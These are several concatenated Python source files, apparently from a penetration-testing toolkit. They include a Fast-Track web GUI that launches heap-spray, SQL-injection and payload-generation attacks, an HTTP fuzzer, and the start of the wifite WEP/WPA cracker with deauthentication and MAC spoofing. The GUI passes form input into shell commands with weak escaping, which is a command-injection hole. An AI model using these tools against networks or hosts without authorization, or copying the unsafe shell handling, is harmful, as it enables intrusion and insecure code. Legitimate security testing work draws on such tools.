self.send_response(200) self.end_headers() load_header(self) load_nav(self) xml=file("bin/web/html/finished","r").readlines() for line in xml: self.wfile.write(line) load_footer(self) try: xml=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track FireFox 3.5 Heap Spray" -e "python %s/fast-track.py -c 7 12" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS FireFox 3.5 ############################## ###################### START SQLPWNAGE BLIND ############################## if self.path == "/sqlpwnageblindpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() url=raw_post_data[1].rstrip() url=url.replace("%3A",":") url=url.replace("%2F","/") url=url.replace("%3F","?") url=url.replace("%3D","=") url=url.replace("%27","'") url=url.replace("%26","&") # Used to escape the ' and & in shell url=url.replace("'","\\'") url=url.replace("&","\\&") ipaddr=raw_post_data[3].rstrip() payload=raw_post_data[5].rstrip() portnum=raw_post_data[7].rstrip() load_header(self) load_nav(self) manualpayloadpost=file("bin/web/html/finished","r").readlines() for line in manualpayloadpost: self.wfile.write(line) load_footer(self) try: manualpayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQLPwnage Blind" -e "python %s/fast-track.py -c 8 1 %s %s %s %s"''' % (definepath,url,ipaddr,payload,portnum), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." except Exception,e: print e pass ###################### END SQLPWNAGE BLIND ############################## ###################### START SQLPWNAGE Error ############################## if self.path == "/sqlpwnageerrorpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() url=raw_post_data[1].rstrip() ipaddr=raw_post_data[3].rstrip() ipaddr=ipaddr.replace("%3A",":") ipaddr=ipaddr.replace("%2F","/") ipaddr=ipaddr.replace("%3F","?") ipaddr=ipaddr.replace("%3D","=") ipaddr=ipaddr.replace("%27","'") ipaddr=ipaddr.replace("%26","&") # Used to escape the ' and & in shell ipaddr=ipaddr.replace("'","\\'") ipaddr=ipaddr.replace("&","\\&") payload=raw_post_data[5].rstrip() portnum=raw_post_data[7].rstrip() load_header(self) load_nav(self) manualpayloadpost=file("bin/web/html/finished","r").readlines() for line in manualpayloadpost: self.wfile.write(line) load_footer(self) try: manualpayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQLPwnage Blind" -e "python %s/fast-track.py -c 8 2 %s %s %s %s"''' % (definepath,url,ipaddr,payload,portnum), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." except Exception,e: print e pass ###################### END SQLPWNAGE Error ############################## ###################### START PAYLOADGEN ############################## if self.path == "/payloadgenpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() load_header(self) load_nav(self) payloadgen=file("bin/web/html/finished","r").readlines() for line in payloadgen: self.wfile.write(line) load_footer(self) try: payloadgen=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Payload Generator" -e "python %s/fast-track.py -c 9"''' % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END PayloadGen ############################## # Print standard browser headers def printBrowserHeaders(self): self.wfile.write("<p>Headers: <br>") header_keys = self.headers.dict.keys() for key in header_keys: self.wfile.write("<b>" + key + "</b>: ") self.wfile.write(self.headers.dict[key] + "<br>") # Print custom HTTP Response def printCustomHTTPResponse(self, respcode): self.send_response(respcode) self.send_header("Content-type", "text/html") self.send_header("Server", "myRequestHandler") self.end_headers() # In case of exceptions, pass them except Exception: pass # # Specify starting parameters..if you want to make this exposed remotely (highly not recommended) # just change '127.0.0.1' to ''. Warning on this, I didn't harden this at all, so use at your own # risk externally. # try: port=sys.argv[2] except IndexError: port='44444' httpd = HTTPServer(('127.0.0.1', int(port)), myRequestHandler) print "\n****************************************\nFast-Track Web GUI Front-End\nWritten by: David Kennedy (ReL1K)\n****************************************\n" print "Starting HTTP Server on 127.0.0.1 port %s\n" % (port) print "*** Open a browser and go to http://127.0.0.1:%s ***\n" % (port) print "Type <control>-c to exit.." try: # Uncomment if you want to launch firefox upon opening #print "Launching FireFox on Localhost port: %s" % (port) #launchfirefox=os.popen2("firefox localhost:%s" % (port)) # Open sockets, open for business httpd.handle_request() # Serve HTTP server forever httpd.serve_forever() # Except Keyboard Interrupts and throw custom message except KeyboardInterrupt: print "\n\nExiting Fast-Track Web Gui...\n\n" # Remove old files cleanup=subprocess.Popen("rm sqlpassword 2> /dev/null;rm SqlScan.txt 2> /dev/null;rm sqlopen.txt 2> /dev/null;rm pentest 2> /dev/null;killall python 2> /dev/null", shell=True) # Terminate process sys.exit()
51,345
Python
.py
1,154
37.136049
275
0.594206
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,417
ftgui_pageobjects.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/web/.svn/text-base/ftgui_pageobjects.py.svn-base
''' Created on Sep 20, 2010 @author: j0fer ''' import re import string # Header section for webpage def load_header(self): headeropen = file("bin/web/html/header", "r").readlines() for line in headeropen: self.wfile.write(line) # Left hand nav section for webpage def load_nav(self): navopen = file("bin/web/html/nav", "r").readlines() for line in navopen: self.wfile.write(line) # Footer section for webpage def load_footer(self): footeropen = file("bin/web/html/footer", "r").readlines() for line in footeropen: self.wfile.write(line) # Standard function to draw exploit page def draw_frame(self): frame = (self.path).lstrip('/') load_header(self) load_nav(self) currentdata = file("bin/web/html/" + frame, "r").readlines() for line in currentdata: self.wfile.write(line) load_footer(self) # Draw frames which read from textfile(s) def draw_complexframe(self, title, textfile): load_header(self) load_nav(self) frame_head1 = file("bin/web/html/frame_head1", "r").readlines() for line in frame_head1: self.wfile.write(line) self.wfile.write(title) frame_head2 = file("bin/web/html/frame_head2", "r").readlines() for line in frame_head2: self.wfile.write(line) currentdata = file(textfile, "r").readlines() for line in currentdata: self.wfile.write(line + "<br>") frame_foot = file("bin/web/html/frame_foot", "r").readlines() for line in frame_foot: self.wfile.write(line) load_footer(self) # Common task code, displays 'finished' message def dofinishedpost(self): load_header(self) load_nav(self) finishedpost = file("bin/web/html/finished", "r").readlines() for line in finishedpost: self.wfile.write(line) load_footer(self) # Common task code, performs exploitation tasks def doexploitpost(self): content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data = re.split('=|&', raw_post_data) self.send_response(200) self.end_headers() ipaddr = raw_post_data[1].rstrip() ipaddr = ipaddr.replace("+", " ") dofinishedpost(self) # Common error message code def showposterror(self): print "Exiting Fast-Track Web GUI.." print "\nType <ctrl>-c again to exit Fast-Track Web Gui.."
2,387
Python
.py
68
30.514706
69
0.684759
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,418
sickfuzz.py
pwnieexpress_raspberry_pwn/src/pentest/sickfuzz/sickfuzz.py
#!/usr/bin/env python # Author: sickness # Hope you like it # For any bugs/suggestions contact sick.n3ss416@gmail.com import sys,subprocess,time,os,signal,socket,getopt,urllib2 from time import sleep,localtime,strftime #------------------------------------------------------------------------------- spike = "" fpath = "" script = "" ip = "" port = "" iface = "" log = "" #------------------------------------------------------------------------------- def help_screen(): print " __ ___ " print " __ /\ \ /'___\ " print " ____/\_\ ___\ \ \/'\ /\ \__/ __ __ ____ ____ " print " /',__\/\ \ /'___\ \ , < \ \ ,__\/\ \/\ \/\_ ,`\ /\_ ,`\ " print " /\__, `\ \ \/\ \__/\ \ \\`\ \ \ \_/\ \ \_\ \/_/ /_\/_/ /_ " print " \/\____/\ \_\ \____\\ \_\ \_\ \ \_\ \ \____/ /\____\ /\____\ " print " \/___/ \/_/\/____/ \/_/\/_/ \/_/ \/___/ \/____/ \/____/\n\n" print " Welcome to sickfuzz version 0.3" print " Codename: 'Have you g0tmi1k!?'" print " Author: sickness" print " Bug reports or suggestions at: sick.n3ss416@gmail.com\n" print " Usage example:" print " ./sickfuzz.py --spike /pentest/fuzzers/spike/ --fpath /root/sickfuzz/ --script all --ip 192.168.1.64 --port 80 --iface wlan0 --log /root/"+"\n" print " IMPORTANT: DO NOT USE THE pcap_logs DIRECTORY TO SAVE LOGS from --log !!!\n" print " -h/--help - prints this help menu." print " -s/--spike <path to spike folder>" print " -f/--fpath <path to the fuzzer>" print " -c/--script <[all]/[number]> use --script-show to view available scripts" print " -t/--ip <target ip>" print " -p/--port <target port>" print " -i/--iface <network interface>" print " -l/--log <path where .pcap log files will be saved> (Other then 'pcap_logs' directory.)\n" sys.exit() def script_show(): print " [1/12] Fuzzing: AAAA" print " [2/12] Fuzzing: GET /" print " [3/12] Fuzzing: HEAD /" print " [4/12] Fuzzing: POST /" print " [5/12] Fuzzing: GET / HTTP/1.1" print " [6/11] Fuzzing: HEAD / HTTP/1.1" print " [7/12] Fuzzing: POST / HTTP/1.1" print " [8/12] Fuzzing: Authorization:" print " [9/12] Fuzzing: Content-Length:" print " [10/12] Fuzzing: If-Modified-Since:" print " [11/12] Fuzzing: Connection:" print " [12/12] Fuzzing: X-a:" sys.exit() if len(sys.argv) == 1: help_screen() elif sys.argv[1] == ("--script-show" or "-c-show"): script_show() elif sys.argv[1] == ("-?" or "-h" or "--help"): help_screen() def openport(): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((ip,int(port))) s.shutdown(2) return True except: return False def spike_fuzz( x ): if x == 0: print " [>] [1/12] Fuzzing: AAAA" elif x == 1: print " [>] [2/12] Fuzzing: GET /" elif x == 2: print " [>] [3/12] Fuzzing: HEAD /" elif x == 3: print " [>] [4/12] Fuzzing: POST /" elif x == 4: print " [>] [5/12] Fuzzing: GET / HTTP/1.1" elif x == 5: print " [>] [6/12] Fuzzing: HEAD / HTTP/1.1" elif x == 6: print " [>] [7/12] Fuzzing: POST / HTTP/1.1" elif x == 7: print " [>] [8/12] Fuzzing: Authorization:" elif x == 8: print " [>] [9/12] Fuzzing: Content-Length:" elif x == 9: print " [>] [10/12] Fuzzing: If-Modified-Since:" elif x == 10: print " [>] [11/12] Fuzzing: Connection:" elif x == 11: print " [>] [12/12] Fuzzing: X-a:" try: subprocess.Popen("export LD_LIBRARY_PATH=. && cd "+spike+"&&"+fuzzer+" "+ip+" "+port+" "+fpath+scripts[x]+" "+skipv+" > "+fpath+"spike_log.txt",shell=True).wait() except KeyboardInterrupt: print " [>] Press CTRL+C again to stop fuzzing and start the clear-up process!\n" sleep(1000000) if openport() == True: try: print "\n [>] Finished, moving to next script ..." print " [>] Press CTRL+C again to stop fuzzing!\n" except KeyboardInterrupt: log = log.rstrip("/")+"/" clean_up() sys.exit() elif openport() == False: print " [>] We have a crash!" log = log.rstrip("/")+"/" clean_up() sys.exit() def clean_up(): print " [>] Stopping fuzzing and tshark ..." os.kill(tshark.pid,signal.SIGTERM) print " [>] Starting clean-up process" print " [>] Splitting .pcap files" subprocess.Popen("editcap -c 10000 "+fpath+"pcap_logs/fuzzing_log.pcap"+" "+fpath+"pcap_logs/logs.pcap",shell=True).wait() subprocess.Popen("mv -f "+fpath+"pcap_logs/*"+" "+log,shell=True).wait() subprocess.Popen("rm -rf "+fpath+"pcap_logs/*",shell=True).wait() subprocess.Popen("mv -f "+fpath+"spike_log.txt"+" "+log,shell=True).wait() print " [>] Done!" print " [>] Go to the 'pcap_logs' directory and delete anything from there.(DONT DO rm -rf pcap_logs/*)" print " [>] For more details about the fuzzing strings open 'spike_log.txt' from your log directory.\n" time_start = time.time() print "\n [>] Fuzzing starting at "+strftime("%a, %d %b %Y %H:%M:%S", localtime())+" ..." sleep(2) try: opts, args = getopt.getopt(sys.argv[1:], "s:f:c:t:p:i:l:h?", ["spike=","fpath=","script=","ip=","port=","iface=", "log=","help"]) except getopt.GetoptError, err: help_screen() sys.exit() for o, a in opts: if o in ("-s", "--spike"): spike = a if o in ("-f", "--fpath"): fpath = a if o in ("-c", "--script"): script = a if o in ("-t", "--ip"): ip = a if o in ("-p", "--port"): port = a if o in ("-i", "--iface"): iface = a if o in ("-l", "--log"): log = a try: fuzzer = "./generic_web_server_fuzz2" scripts = ["HTTP/web00.spk","HTTP/web01.spk","HTTP/web02.spk","HTTP/web03.spk","HTTP/web04.spk","HTTP/web05.spk","HTTP/web06.spk","HTTP/web07.spk","HTTP/web08.spk","HTTP/web09.spk","HTTP/web10.spk","HTTP/web11.spk"] skipv = "0 0" if spike == "" : print "Missing \"--spike/-s\", check --help for more info.\n" sys.exit() if fpath == "" : print "Missing \"--fpath/-f\", check --help for more info.\n" sys.exit() if script == "" : print "Missing \"--script/-c\", check --help for more info.\n" sys.exit() if ip == "" : print "Missing \"--ip/-t\", check --help for more info.\n" sys.exit() if port == "" : print "Missing \"--port/-p\", check --help for more info.\n" sys.exit() if iface == "" : print "Missing \"--iface/-i\", check --help for more info.\n" sys.exit() if log == "" : print "Missing \"--log/-l\", check --help for more info.\n" sys.exit() print " [>] Starting: sickfuzz v0.3" if openport() == True: pass else: print " [>] Could not connect, check if the port is opened!" sys.exit() print " [>] Launching packet capture, please wait ..." try: fpath = fpath.rstrip("/")+"/" tshark = subprocess.Popen("tshark -i "+iface+" -d tcp.port=="+port+",http -w "+fpath+"pcap_logs/fuzzing_log.pcap -q",shell=True) sleep(2) print " [>] Capturing packets, now starting the fuzzer ...!\n" sleep(1) except KeyboardInterrupt: print " [>] Something went wrong!" print " [>] Exiting ..." sys.exit() if script == "all": script_numbers = range(0,12) # Scripts from 1 to 12. for i in script_numbers: if openport() == True: spike = spike.rstrip("/")+"/" fpath = fpath.rstrip("/")+"/" spike_fuzz( i ) else: log = log.rstrip("/")+"/" clean_up() sys.exit() else: if script == "1": spike = spike.rstrip("/")+"/" fpath = fpath.rstrip("/")+"/" spike_fuzz( 0 ) elif script == "2": spike = spike.rstrip("/")+"/" fpath = fpath.rstrip("/")+"/" spike_fuzz( 1 ) elif script == "3": spike = spike.rstrip("/")+"/" fpath = fpath.rstrip("/")+"/" spike_fuzz( 2 ) elif script == "4": spike = spike.rstrip("/")+"/" fpath = fpath.rstrip("/")+"/" spike_fuzz( 3 ) elif script == "5": spike = spike.rstrip("/")+"/" fpath = fpath.rstrip("/")+"/" spike_fuzz( 4 ) elif script == "6": spike = spike.rstrip("/")+"/" fpath = fpath.rstrip("/")+"/" spike_fuzz( 5 ) elif script == "7": spike = spike.rstrip("/")+"/" fpath = fpath.rstrip("/")+"/" spike_fuzz( 6 ) elif script == "8": spike = spike.rstrip("/")+"/" fpath = fpath.rstrip("/")+"/" spike_fuzz( 7 ) elif script == "9": spike = spike.rstrip("/")+"/" fpath = fpath.rstrip("/")+"/" spike_fuzz( 8 ) elif script == "10": spike = spike.rstrip("/")+"/" fpath = fpath.rstrip("/")+"/" spike_fuzz( 9 ) elif script == "11": spike = spike.rstrip("/")+"/" fpath = fpath.rstrip("/")+"/" spike_fuzz( 10 ) elif script == "12": spike = spike.rstrip("/")+"/" fpath = fpath.rstrip("/")+"/" spike_fuzz( 11 ) else: print " [-] You have picked an invalid script." print " [-] Use the -c-show/--script-show flags to see available scripts." print "\n" #------------------------------------------------------------------------------- except KeyboardInterrupt: print "\r" print " [>] Fuzzing process ended at: "+strftime("%a, %d %b %Y %H:%M:%S", localtime()) print " [>] Elapsed time: %.2f minutes" % ((time.time() - time_start)/60) print "\r" log = log.rstrip("/")+"/" clean_up() sys.exit()
8,981
Python
.py
248
33.528226
216
0.55752
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,419
wifite.py
pwnieexpress_raspberry_pwn/src/pentest/wifite/wifite.py
#!/usr/bin/python # -*- coding: cp1252 -*- """ WIFITE (c) 2010, 2011 derv merkler, Jose Maria Chia, Aaron Type -h or -help for command-line options """ """ TODO LIST: -crack at IVS option (-ivs) -chop-chop stops if failed -- have it start again until it runs out of time! -find someone to test SKA (my router won't allow it, broken SKA everytime) -deauth entire router if SSID is hidden? (no, sets off alarms) -convert all subprocess calls to pexpect (maybe?) -convert subprocess.call('rm', to os.remove( """ import string, sys # basic stuff import os, signal # needed for shells, sending commands, etc import subprocess # because os.call is deprecated and unreliable import time # need to sleep; keep track how long methods take import re # reg-ex: for replacing characters in strings import urllib # needed for downloading webpages (updating the script) import tempfile # for creating temporary directory import random # for random mac address import sqlite3 # Database logging try: import pexpect # used during wpa_supplicant attacks proc_intel=None except ImportError: # some users may nto have this module print '[!] unable to import pexpect' print '[!] if your chipset is intel4965; the fake-auth workaround will fail' NO_XSERVER=False try: # GUI imports from Tkinter import * # all of the gui modules we need import tkFileDialog # for selecting the dictionary file import threading # so the GUI doesn't lock up except ImportError: NO_XSERVER=True print '[!] unable to import tkinter -- GUI disabled' # current revision REVISION=84 # default wireless interface (blank to prompt) # ex: wlan0, wlan1, rausb0 IFACE='' # default wpa-cracking password list (blank to prompt) # NOTE: will default to 'wordlist.txt' if found in same directory as this script! # ex: /pentest/passwords/wordlists/darkc0de.lst DICT='' # name of access point to attack (useful for targeting specific APs) # also, the 'power' is stored in ESSID. ex: ESSID='pow>55' would crack all APs above 55dB ESSID='' TIMEWAITINGCLIENTS = 5 #Time listening for associated clients # WPA variables WPA=True # True=search for WPA access points; False=do not search for WPA access points WPA_TIMEOUT=3.0 # how long to wait between deauthentications (in seconds) WPA_MAXWAIT=300 # longest time to wait for a handshake capture (in seconds) # you can temporarily change maxwait with -wpaw <time> where time is in minutes # airodump variables SCAN_MAXWAIT=0 # absolute time to wait for target scanning (in seconds), defaults to until cancelled # you can change with -scanw <time> or --scan-maxwait <time> where time is in seconds # WEP constants WEP=True # True=search for WEP access points; False=do not search for WEP access points WEP_PPS =250 # packets per second (lower for APs that are farther away) WEP_MAXWAIT=600 # longest to wait for a WEP attack *METHOD* to finish (in seconds) # if wep_maxwait is 600, it gives 10minutes FOR EACH ATTACK METHOD (frag, chopchop, arp, p0841) # meaning a TOTAL of 40min per WEP access point (not including fake-authentication) # you can disable certain WEP attacks below to save time WEP_ARP =True # true=use arp-replay attack, false=don't use WEP_CHOP =True # use chop-chop attack WEP_FRAG =True # use fragmentation attack WEP_P0841 =True # use -p 0841 replay attack AUTOCRACK =9000 # begin cracking when our IVS count is... OVER9000!!!!! CHANGE_MAC =True # set =True if you want to [temporarily] change the mac address of your wifi card # to the MAC of a client on the targeted network. EXIT_IF_NO_FAKEAUTH=True # during a WEP attack, if fake-authentication fails, the attack is cancelled NO_HIDDEN_DEAUTH=False # when true, disables the option to send deauth packets to hidden access points # only deauths clients and only when a fixed channel is selected # this can help uncloak invisible access points, but is laggy STRIP_HANDSHAKE=True # when true, strips handshake via pyrit (removes unnecessary packets from .cap file) CRACK_WITH_PYRIT=False # when true, uses pyrit and cowpatty to crack WPA handshakes # default channel to scan CHANNEL='0' # 0 means attack all channels. # it's probably a good idea to leave this 0 and use "-c 6" if you want to target channel 6 # keep track of how we're doing CRACKED =0 # number of cracked networks HANDSHAKES=0 # number of handshakes we've captured (does not count # assorted lists for storing data TARGETS =[] CLIENTS ={} # dictionary type! for fast[er] client look-up ATTACK =[] WPA_CRACK=[] THE_LOG =[] # flag for exiting out of attacks early, this should ALWAYS be false SKIP_TO_WPA=False # flag for when we use intel4965 wireless card HAS_INTEL4965=False # mac addresses, used for restoring mac addresses after changing them THIS_MAC='' OLD_MAC ='' # more mac adddresses, for use with "-anon" anonymizer ORIGINAL_MAC='' ANONYMOUS_MAC='' # flag for when we are running wifite inside of an XTERM window USING_XTERM=False # COLORS, because i think they're faaaaaabulous W = "\033[0m"; # white (normal) BLA= "\033[30m"; # black R = "\033[31m"; # red G = "\033[32m"; # green O = "\033[33m"; # orange B = "\033[34m"; # blue P = "\033[35m"; # purple C = "\033[36m"; # cyan GR = "\033[37m"; # gray # current file being run (hopefully wifite.py!) THEFILE=__file__ if THEFILE.startswith('./'): THEFILE=THEFILE[2:] # temporary directory, to keep those pesky cap files out of the way TEMPDIR=tempfile.mkdtemp(prefix='wifite') if not TEMPDIR.endswith('/'): TEMPDIR += '/' # time remaining and time started (for the all attacks -- except WPA cracking) TIME_REMAINING=0 TIME_STARTED=0 # attempt to load gui if it hasn't been disabled yet, catch errors if not NO_XSERVER: try: # GUI needs a root for all children root = Tk() root.withdraw() # hide main window until we're ready # there was a glitch where a window 'Tk' would appear on ctrl+c.. this fixed it! except tkinter.TclError: NO_XSERVER=True print R+'[!] error loading tkinter; '+O+'disabling GUI...' ############################################################ GUI! class App: """ class for creating the GUI the GIU passes arguments to the script """ def __init__(self, master): global USING_XTERM setenctype='WEP and WPA' setchan =6 setallchan=1 setpower =50 setselarg =0 setallpow =1 setdict ='/pentest/passwords/wordlists/darkc0de.lst' setwepw ='10' setwependl=0 setwpaw ='5' setwpaendl=0 setpps =500 setarp =1 setchop =1 setfrag =1 setp0841 =1 setmac =1 setauth =0 setanon =0 try: f=open('.wifite.conf','r') txt=f.read() lines=txt.split('\n') f.close() for i in xrange(0, len(lines)): l=lines[i].strip() if l == '-nowep': setenctype='WPA' elif l == '-nowpa': setenctype='WEP' elif l == '-c': try: setchan=int(lines[i+1]) setallchan=0 except ValueError: pass i+=1 elif l == '-p': try: setpower=int(lines[i+1]) setallpow=0 except ValueError: pass i+=1 elif l == '-d': setdict=lines[i+1] i+=1 elif l == '-wepw': if lines[i+1] == '0': setwependl=1 else: setwepw=lines[i+1] i+=1 elif l == '-wpaw': if lines[i+1] == '0': setwpaendl=1 else: setwpaw=lines[i+1] i+=1 elif l == '-pps': try: setpps=int(lines[i+1]) except ValueError: pass i+=1 elif l == '-noarp': setarp=0 elif l == '-nochop': setchop=0 elif l == '-nofrag': setfrag=0 elif l == '-no0841': setp0841=0 elif l == '-keepmac': setmac=0 elif l == '-f': setauth=1 elif l == '-console': setselarg=1 elif l == '-anon': setanon=1 except IOError: pass f0nt=('FreeSans',9,'bold') frame = Frame(master, width=250, height=150) frame.grid() r=0 w=Label(frame, font=f0nt, text='interface:') w.grid(row=r, column=0, sticky='E') self.iface = StringVar(frame) (lst,default)=self.ifacelist() print GR+'[+] '+W+'wireless devices: "'+G+ ', '.join(lst) +W+'"' updatesqlstatus('[+] wireless devices: "' + ', '.join(lst) +'"') if lst == [] or len(lst) == 0: print GR+'[!] '+R+'no wireless adapaters found' print GR+'[!] '+O+'make sure your wifi card is plugged in, then check airmon-ng' print W if USING_XTERM: print GR+'[!] '+W+'close this window at any time to exit wifite'+W else: print GR+'[!] '+W+'the program is unable to continue and will now exit' sys.exit(0) elif len(lst) == 1: if lst[0].strip() == '': print GR+'[!] '+R+'no wireless adapaters found' print GR+'[!] '+O+'make sure your wifi card is plugged in, then check airmon-ng' print W if USING_XTERM: print GR+'[!] '+W+'close this window at any time to exit wifite'+W else: print GR+'[!] '+W+'the program is unable to continue and will now exit' sys.exit(0) self.iface.set(default) w=apply(OptionMenu, (frame, self.iface) + tuple(lst)) w.config(takefocus=1, width=25, font=f0nt) w.grid(row=r,column=1,columnspan=2, sticky='W') r+=1 w=Label(frame, font=f0nt, text='encryption type:') w.grid(row=r, column=0, sticky='E') self.enctype = StringVar(frame) self.enctype.set(setenctype) w=OptionMenu(frame, self.enctype, 'WEP', 'WPA', 'WEP and WPA') w.config(takefocus=1, width=15, font=f0nt) w.grid(row=r,column=1, columnspan=2,sticky='W') r+= 1 w=Label(frame, text='channel:', font=f0nt) w.grid(row=r,column=0, sticky=E) self.channel=Scale(frame, orient=HORIZONTAL, from_=1, to_=14, resolution=1, length=120, takefocus=1,\ troughcolor='black', sliderlength=30, sliderrelief=FLAT, relief=FLAT, font=f0nt,\ activebackground='red') self.channel.grid(row=r, column=1, sticky='W') self.channel.set(setchan) self.allchan=IntVar(frame) self.allchan.set(setallchan) self.click_channel() self.chkallchan=Checkbutton(frame, text='all channels', variable=self.allchan, command=self.click_channel, font=f0nt,\ activeforeground='red') self.chkallchan.grid(row=r, column=2, sticky='W') r+= 1 w=Label(frame, text=' ', font=('',5,'')) w.grid(row=r,columnspan=3) r+=1 self.selectarg=IntVar(frame) self.selectarg.set(setselarg) w=Checkbutton(frame, text='select targets from list', variable=self.selectarg, command=self.click_selectarg,\ font=f0nt, activeforeground='red') w.grid(row=r, column=1, columnspan=2,sticky='W') r+= 1 w=Label(frame, text='minimum power:', font=f0nt) w.grid(row=r,column=0, sticky='E') self.power=Scale(frame, orient=HORIZONTAL, from_=1, to_=100, resolution=1, length=120, takefocus=1,\ troughcolor='black', sliderlength=20, relief=FLAT, sliderrelief=FLAT, font=f0nt,\ activebackground='red') self.power.grid(row=r, column=1, sticky='W') self.power.set(setpower) self.power.config(state=DISABLED) self.all=IntVar(frame) self.all.set(setallpow) self.click_power() self.chkeveryone=Checkbutton(frame, text='everyone', variable=self.all, command=self.click_power, font=f0nt, activeforeground='red') self.chkeveryone.grid(row=r, column=2, sticky='W') if self.selectarg.get() != 0: self.power.config(state=DISABLED, troughcolor='black') self.chkeveryone.config(state=DISABLED) r+= 1 w=Label(frame, text=' ', font=('',5,'')) w.grid(row=r,columnspan=3) r+= 1 w=Label(frame, text='dictionary:', font=f0nt) w.grid(row=r, column=0, sticky='E') self.dict=StringVar() self.dicttxt=Entry(frame, font=f0nt, width=22, textvariable=self.dict) self.dicttxt.grid(row=r, column=1, columnspan=2, sticky='W') self.dicttxt.delete(0, END) self.dicttxt.insert(0, setdict) w=Button(frame, text="...", font=('FreeSans',7,''), height=0,command=self.lookup, activebackground='red') w.grid(row=r, column=2, sticky='E') r+= 1 w=Label(frame, text=' ', font=('',5,'')) w.grid(row=r,columnspan=3) r+=1 w=Label(frame, text='wep timeout (min):', font=f0nt) w.grid(row=r,column=0) self.wepw=StringVar(frame) self.weptxt=Entry(frame, justify=CENTER, width=3, textvariable=self.wepw, font=f0nt) self.weptxt.grid(row=r, column=1, sticky='W') self.weptxt.delete(0, END) self.weptxt.insert(0, setwepw) self.wepwendless=IntVar(frame) self.wepwendless.set(setwependl) w=Checkbutton(frame, text='endless',variable=self.wepwendless, font=f0nt, activeforeground='red',\ command=self.click_wependless) w.grid(row=r, column=1, sticky='E') self.click_wependless() r+=1 w=Label(frame, text='wpa timeout (min):', font=f0nt) w.grid(row=r,column=0) self.wpaw=StringVar(frame) self.wpatxt=Entry(frame, justify=CENTER, width=3, textvariable=self.wpaw, font=f0nt) self.wpatxt.grid(row=r, column=1, sticky='W') self.wpatxt.delete(0, END) self.wpatxt.insert(0, setwpaw) self.wpawendless=IntVar(frame) self.wpawendless.set(setwpaendl) w=Checkbutton(frame, text='endless',variable=self.wpawendless, font=f0nt, activeforeground='red',\ command=self.click_wpaendless) w.grid(row=r, column=1, sticky='E') self.click_wpaendless() r+= 1 w=Label(frame, text=' ', font=('',5,'')) w.grid(row=r,columnspan=3) r += 1 w=Label(frame, text='wep options:', font=f0nt) w.grid(row=r, column=0, sticky='E') self.weparp=IntVar() self.weparp.set(setarp) w=Checkbutton(frame, text='arp-replay', variable=self.weparp, font=f0nt, activeforeground='red') w.grid(row=r, column=1, sticky='W') self.wepchop=IntVar() self.wepchop.set(setchop) w=Checkbutton(frame, text='chop-chop', variable=self.wepchop, font=f0nt, activeforeground='red') w.grid(row=r, column=2, sticky='W') r=r+1 self.wepfrag=IntVar() self.wepfrag.set(setfrag) w=Checkbutton(frame, text='fragmentation', variable=self.wepfrag, font=f0nt, activeforeground='red') w.grid(row=r, column=1, sticky='W') self.wep0841=IntVar() self.wep0841.set(setp0841) w=Checkbutton(frame, text='-p 0841', variable=self.wep0841, font=f0nt, activeforeground='red') w.grid(row=r, column=2, sticky='W') r=r+1 self.wepmac=IntVar() self.wepmac.set(setmac) w=Checkbutton(frame, text='change mac', variable=self.wepmac, font=f0nt, activeforeground='red') w.grid(row=r,column=1, sticky='W') self.wepauth=IntVar() self.wepauth.set(setauth) w=Checkbutton(frame, text='ignore fake-auth', variable=self.wepauth, font=f0nt, activeforeground='red') w.grid(row=r,column=1, columnspan=2, sticky='E') r=r+1 w=Label(frame, text='packets/sec:', font=f0nt) w.grid(row=r, column=0, sticky='E') self.weppps=Scale(frame, orient=HORIZONTAL, from_=100, to_=1500, resolution=50, length=190, font=f0nt,\ troughcolor='gray', activebackground='red', relief=FLAT, sliderrelief=FLAT) self.weppps.grid(row=r, column=1, columnspan=2, sticky='W') self.weppps.set(setpps) r+= 1 w=Label(frame, text=' ', font=('',5,'')) w.grid(row=r,columnspan=3) self.anony=IntVar() self.anony.set(setanon) w=Checkbutton(frame, text='anonymize all attacks', variable=self.anony, font=f0nt, activeforeground='red') w.grid(row=r,column=1, columnspan=2,sticky='W') r += 1 w = Button(frame, text="h4x0r 1t n40", font=('FreeSans', 20, 'bold'), relief=FLAT, height=2,fg="white", bg="red", \ highlightbackground='white', highlightcolor='red', command=self.execute,activebackground='darkred',\ activeforeground='white') w.grid(row=r,columnspan=3) r+=1 w=Label(frame, text=' ', font=('',5,'')) w.grid(row=r,columnspan=3) sw = root.winfo_screenwidth() sh = root.winfo_screenheight() w=350 h=550 x = sw/2 - w/2 y = sh/2 - h/2 root.geometry("%dx%d+%d+%d" % (w,h,x,y)) root.update() root.deiconify() def click_wpaendless(self): if self.wpawendless.get() == 1: 